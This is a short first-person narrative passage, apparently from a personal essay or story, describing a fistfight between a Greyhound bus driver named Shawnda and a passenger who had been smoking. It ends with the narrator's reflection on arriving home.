The shouts of the crown inside the bus increased as Shawnda managed to crawl on top of her and land another blow.

Next time, Try God

Next time, Try God

I made to move outside and separate them just as another rider—seemingly the only sane one in the bunch—did the same, shouting, “Are you all crazy? We have to stop this!” Turning my head for the merest of seconds to plot a course through the aisle of the melee within the bus to get to the melee outside the bus, I saw a shock of dirty blonde hair bolt in front of the bus and run into traffic. The woman had managed to get out from under Shawnda and was attempting to escape. Quicker than I could understand what was going on, the woman had gotten a speeding Mercedes to stop and allow her inside the car, no doubt with a lie about being attacked. Shawnda hopped back on the bus to a wild ruckus of reenactments of her struggle. Running a hand over her mussed hair, she got on the speaker and told everyone “Allright ya’ll, sorry about that there trouble, was sure nothing that happens all the time here on Greyhound. I told ya’ll no smokin’ and I mean it. I may be small, but I am one tough bitch! Enjoy the rest of ya’ll ride and thank you for ridin’ Greyhound.”

I couldn’t be sure where I might end up, when i might get there, or if the glint of Shawnda’s smoked yellow pupil gleaming in my general direction in the large rectangular rearview mirror suspended over the driver’s seat was real or a trick of the light, but what I could be sure of was that I had made it home, for good or ill.

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